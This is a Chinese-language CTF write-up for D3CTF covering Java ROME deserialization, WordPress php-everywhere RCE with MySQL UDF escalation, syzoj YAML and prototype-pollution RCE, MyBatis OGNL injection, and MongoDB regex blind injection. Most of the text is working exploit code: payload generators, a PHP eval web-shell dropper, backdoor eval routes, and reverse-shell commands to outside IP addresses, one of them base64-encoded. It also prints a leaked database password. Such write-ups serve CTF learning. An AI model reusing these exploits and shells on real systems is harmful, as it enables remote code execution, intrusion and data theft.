0%

D3 CTF

image-20220323195235536

shorter

  • ROME 链
  • java 反序列化缩小

附件给了一个jar包,反编译后发现反序列化点,但是有长度限制1956

image-20220308194019489

看一下lib库,发现了rome-1.0,这个依赖存在反序列化点

image-20220308194134089

所以思路就是通过缩小后的 rome 链子打过去,说到缩小payload的技术,许少的文章和工具:

终极Java反序列化Payload缩小技术 - 先知社区 (aliyun.com)

rome链:Java安全之ROME反序列化利用分析 · 语雀 (yuque.com)ROME反序列化分析 (c014.cn)

先手动尝试构造

package org.sec.payload;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class ROME {
public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{
Field field = obj.getClass().getDeclaredField(fieldname);
field.setAccessible(true);
field.set(obj,value);
}

private static byte[] getShortTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make(" public Evil(){\n" +
" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
" }catch (Exception ignored){}\n" +
" }", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();

return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}


public static void main(String[] args) throws Exception{
//TemplateImpl 动态加载字节码
//byte[] code = ClassPool.getDefault().get("com.bytecode.exp").toBytecode();
byte[] code = getShortTemplatesImpl("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjExNi4xMTAuNjEvMzAwMCAwPiYx}|{base64,-d}|{bash,-i}");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","jiang");
setFieldValue(obj,"_class",null);
// setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{code});

EqualsBean bean = new EqualsBean(String.class,"jiang");

HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",bean);
map1.put("zZ",obj);
map2.put("zZ",bean);
map2.put("yy",obj);
Hashtable table = new Hashtable();
table.put(map1,"1");
table.put(map2,"2");

setFieldValue(bean,"_beanClass",Templates.class);
setFieldValue(bean,"_obj",obj);

//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(table);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray())));

//反序列化

// ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
// ObjectInputStream ois = new ObjectInputStream(bais);
// ois.readObject();
// ois.close();
}
}

image-20220309082242447

尝试将rome链子直接放到工具里面,自动生成

package org.sec.payload;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javax.xml.transform.Templates;
import java.util.HashMap;
import java.util.Hashtable;

@SuppressWarnings("all")
public class ROME extends Payload{
public static byte[] getPayloadUseCommand(String cmd) {
byte[] code = Generator.getTemplateImplBytes(cmd);
return getPayloadUseByteCodes(code);
}

public static byte[] getPayloadUseByteCodes(byte[] byteCodes){
try{
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_name","jiang");
setFieldValue(obj,"_class",null);
// setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
setFieldValue(obj,"_bytecodes",new byte[][]{byteCodes});

EqualsBean bean = new EqualsBean(String.class,"jiang");

HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",bean);
map1.put("zZ",obj);
map2.put("zZ",bean);
map2.put("yy",obj);
Hashtable table = new Hashtable();
table.put(map1,"1");
table.put(map2,"2");

setFieldValue(bean,"_beanClass",Templates.class);
setFieldValue(bean,"_obj",obj);

//序列化
return serialize(table);

}catch (Exception e) {
e.printStackTrace();
}
return new byte[]{};

}
}

maven打包生成jar包

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xLjExNi4xMTAuNjEvMzAwMCAwPiYx}|{base64,-d}|{bash,-i}

image-20220309000546116

传paylaod时,url加密一下,还有Y4的 ROME改造计划 | Y4tacker’s Blog

NewestWordPress

  • wordpress
  • php_everywhere
  • mysql udf提权

描述

The newest WordPress version! Oh… 5.9.1 is the newest…
P.S. Challenge environment reset every 10min.

Hint:
WordPress 和 UsersWP 都是最新版本
问题不在 WordPress 和 UsersWP 上
而在一个 WPScan 没有识别出的插件上

找到最近出漏洞的插件 php_everywhere https://threatpost.com/php-everywhere-bugs-wordpress-rce/178338/

http://d3wordpress.d3ctf-challenge.n3ko.co/wp-content/plugins/php-everywhere/

插件 php-everywhere 最新的洞 CVE-2022-24663 可以任意代码执行

https://www.wordfence.com/blog/2022/02/critical-vulnerabilities-in-php-everywhere-allow-remote-code-execution/

exp

# getshell.py
import requests
import base64

# base_url = "http://d3wordpress.d3ctf-challenge.n3ko.co"
base_url = "http://global-wordpress-d3ctf-challenge.n3ko.co"

def getShell():
sess = requests.session()
login_url = base_url + "/wp-login.php"
login_data = {
"log": "test",
"pwd": "testtest",
"wp-submit": "Log In",
}
res = sess.post(login_url, data=login_data)
# print(res.text)

getShell_url = base_url + "/wp-admin/admin-ajax.php"
encoded_payload = 'W3BocF9ldmVyeXdoZXJlXTw/cGhwCnByaW50KF9fRElSX18pOwokYj0nUEQ5d2FIQUtaWFpoYkNna1gxQlBVMVJiSjJ
GdWRDZGRLVHNLUHo0PSc7CmZpbGVfcHV0X2NvbnRlbnRzKF9fRElSX18uJy8uLi8uLi91cGxvYWRzLzIwMjIvMDMvMS5
waHAnLGJhc2U2NF9kZWNvZGUoJGIpKTsKPz5bL3BocF9ldmVyeXdoZXJlXQo='

getShell_data = {
"action": "parse-media-shortcode",
"shortcode": base64.b64decode(encoded_payload),
}
sess.post(getShell_url, data=getShell_data)

def main():
getShell()
if __name__ == "__main__":
main()

payload为

[php_everywhere]<?php print(__DIR__);$b='PD9waHAKZXZhbCgkX1BPU1RbJ2FudCddKTsKPz4=';file_put_contents(__DIR__.'/../../uploads/2022/03/1.php',base64_decode($b));?>[/php_everywhere]

getshell之后翻找 wp-config.php 文件来得到 MySQL 的相关配置

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** Database username */
define( 'DB_USER', 'root' );
/** Database password */
define( 'DB_PASSWORD', '9Z98g4nmbJxrF5aYHvGaatyi354WxYyp' );
/** Database hostname */
define( 'DB_HOST', '127.0.0.1:3306' );
/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8mb4' );
/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

可以发现是使用高权限账户来链接数据库的 打一个 udf 提权就可以拿到 shell,flag 在根目录下

然后写一个跳板操作数据库

// mysql.php
<?php
error_reporting(E_ALL);
$mysqli = new mysqli("127.0.0.1","root","9Z98g4nmbJxrF5aYHvGaatyi354WxYyp","wordpress");
$tmp = $mysqli->query($_POST['sql']);
$result = $tmp->fetch_all();
var_dump($result);
?>

打MYSQL udf ,sqlmap中或者msf中自带就行

show variables like ‘%plugin%’; 查看插件库路径

SELECT 0x7f454c...... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';

SELECT sys_eval('ls /');

SELECT sys_eval('cat /ff114499_i5_h3Re');

d3oj

找到源码:syzoj/syzoj: 一个用于算法竞赛的在线评测系统。An online judge system for algorithm competition. (github.com)

非预期解

YAML 反序列化漏洞 WS-2019-0063

上传下面的数据(data.yml)到创建的题目可以造成rce

{ toString: !<tag:yaml.org,2002:js/function> 'function (){app.use("/rce",
(q,r)=>r.send(eval(q.body.c)));}' } : 1

任意登录

https://github.com/syzoj/syzoj/blob/master/app.js#L276

if (req.cookies.login) {
let obj;
try {
obj = JSON.parse(req.cookies.login);
User.findOne({ where: { username: obj[0], password: obj[1] } })
}
}

发送下面的数据可以登录任意用户

password: { password: 1 }

CVE-2020-8158

发送下面的数据到 {host}/article/0/edit 可以rce

data = {"title":"rce","content":{"__proto__":{"outputFunctionName":"ee;app.use('/rce',
(q,r)=>r.send(eval(q.body.c)));return 'rce!';//"}}}

ezsql

  • mybatis
  • OGNL表达式

dockerfile.bak

FROM maven:latest as builder1

WORKDIR /build
ADD . .
ADD ./settings-docker.xml /root/.m2/settings.xml
RUN mvn clean package

FROM debian:buster-slim as builder2

ADD readflag.c /readflag.c
RUN apt update && apt install -y gcc
RUN gcc /readflag.c -o /readflag


FROM openjdk:11-jdk

WORKDIR /app
COPY --from=builder1 /build/target/ezsql-0.0.1-SNAPSHOT.jar .
COPY --from=builder2 /readflag /readflag
RUN echo d3ctf{FLAG} > /flag
RUN chmod 0400 /flag
RUN chmod 0444 Dockerfile ezsql-0.0.1-SNAPSHOT.jar
RUN chown root:root /flag ezsql-0.0.1-SNAPSHOT.jar Dockerfile
RUN chmod 4555 /readflag
RUN useradd d3ctf
USER d3ctf

ENTRYPOINT [ "java", "-jar", "ezsql-0.0.1-SNAPSHOT.jar"]

还给了一个jar包,反编译看一下,jd-gui反编译出来缺少代码,使用idea反编译

能看出一处sql注入

image-20220311133622626

发现后端是用mybatis

image-20220311134050464

wp:mybatis 的 SQL 映射支持使用 OGNL 表达式, VoteProvider 直接使用字符串拼接来生成 SQL 语句,如果错误地把 用户输入拼接进去,不仅会发生 SQL 注入,还会引发 OGNL 注入

表达式注入rce

${xxx} 告诉 mybatis 在此处创建一个预处理语句参数,借助 OGNL 来实现参数 SQL 语句的参数绑定。 如果用户能够控制 ${} 中的内容,就能通过 OGNL 表达式来注入到达 RCE 的目的

题目里使用的 org.mybatis.spring.boot 是最新的 2.2.2 版本,对应的 OGNL 依赖的版本为 3.3.0, 高版本的 OGNL 启用了 stricter invocation mode ,使用硬编码的方式 ban 掉了一些 class, 其中就包括 java.lang.Runtime ,要 bypass 得借助反射

payload,整体urlencode一次

/vote/getDetailedVoteById?vid=3) union select null,"${#this.getClass().forName('java.lang.Runtime').getMethods()[14].invoke(#this.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(),'bash,-c,bash -i >& /dev/tcp/121.5.169.223/39876 0>&1'.split(','))}",null,null,null--+

d3fGo

给了一个ELF文件,go编译的web服务端,不会弄,也尝试使用ida提取信息,太菜了,不会弄,最后是个Nosql注入

WP:

fgo 里搜/api搜到/api/Admini/Login。

fgo 里搜*struct 搜到seeecret字段。

粗略查看/api/Admini/Login的逻辑,如果提交的数据有seeecret字段 则mongodb查询参数是username password seeecret三个字段,否则是username password 两个字段。

seeecret字段 mongodb布尔盲注出flag。

/api/Admini/Login
*struct { Username interface {} \"json:\\\"username\\\"\"; Password interface {} \"json:\\\"password\\\"\"; Seeecret interface {} \"json:\\\"seeecret\\\"\" }

exp

import requests
import string,re
ip = "http://7b470ec8f6.fgo-d3ctf-challenge.n3ko.co"
proxies = {}
def main():
flag = ""
while 1:
for i in string.printable:
t = flag + re.escape(i)
resp = requests.post(ip + "/api/Admini/Login",json={
"username":{"$ne":"123"},"password":{"$ne":"123"},
"seeecret":{"$regex":"^"+t}
},proxies=proxies)
if resp.status_code == 200:
flag = t
print(flag)
break

main()